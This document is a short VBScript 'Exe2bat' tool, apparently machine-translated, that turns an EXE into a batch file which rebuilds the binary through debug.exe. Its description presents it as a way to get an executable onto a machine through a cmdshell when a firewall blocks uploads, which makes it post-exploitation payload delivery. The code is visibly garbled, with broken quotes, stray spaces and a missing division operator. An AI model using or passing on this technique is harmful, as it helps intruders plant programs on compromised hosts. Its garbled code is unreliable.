Exe2bat's script
Copy Code code as follows:
Fp=wscript.arguments (0)
Fn=right (Fp,len (FP)-instrrev (FP, ""))
With CreateObject ("ADODB.stream")
. Type=1:.open:.loadfromfile Fp:str=.read:sl=lenb (str)
End With
SLL=SL MoD 65536:slh=sl65536
With CreateObject ("Scripting.FileSystemObject"). OpenTextFile (fp& ". bat", 2,true)
. Write "@echo str=" "" "
For I=1 to SL
BT=ASCB (MidB (str,i,1))
If Bt<16 then. Write "0"
. Write Hex (BT)
If I mod 128=0 then. write "" "_>>debug.vbs" +vbcrlf+ "@echo +" ""
Next
. WriteLine "" ">>debug.vbs" +vbcrlf+ "@echo with Wscript.stdout:r=vbcrlf" _
+ ": For I=1 to Len (str) Step 48:.write" E "" +hex (256+ (i-1)/2) "_
+ ": For J=i to i+46 step 2:.write" "+mid (str,j,2): Next:.write r:next>>debug.vbs"
. WriteLine "@echo. Write" "RBX" "+r+" "+hex (SLH) +" "+r+" "RCX" "+r+" "" +hex (SLL) _
+ "" "+r+" "N debug.tmp" "+r+" "W" "+r+" "Q" "+r:end with" _
+ ">>debug.vbs&&cscript//nologo debug.vbs|debug.exe>nul&&ren debug.tmp" "&fn&" "" &del Debug.vbs "
End With
description File:
You can use this script when you get a cmdshell and you can't upload a file because of a firewall or other reason.
Directly in the local to convert an EXE file to a bat file and then open the bat file with Notepad, and then copy all->cmdshell paste it can be in Cmdshell under the exe file we uploaded.
Script usage is: cscript cdown.vbs XXX.exe
Generates a BAT file in the same directory. Follow the procedure above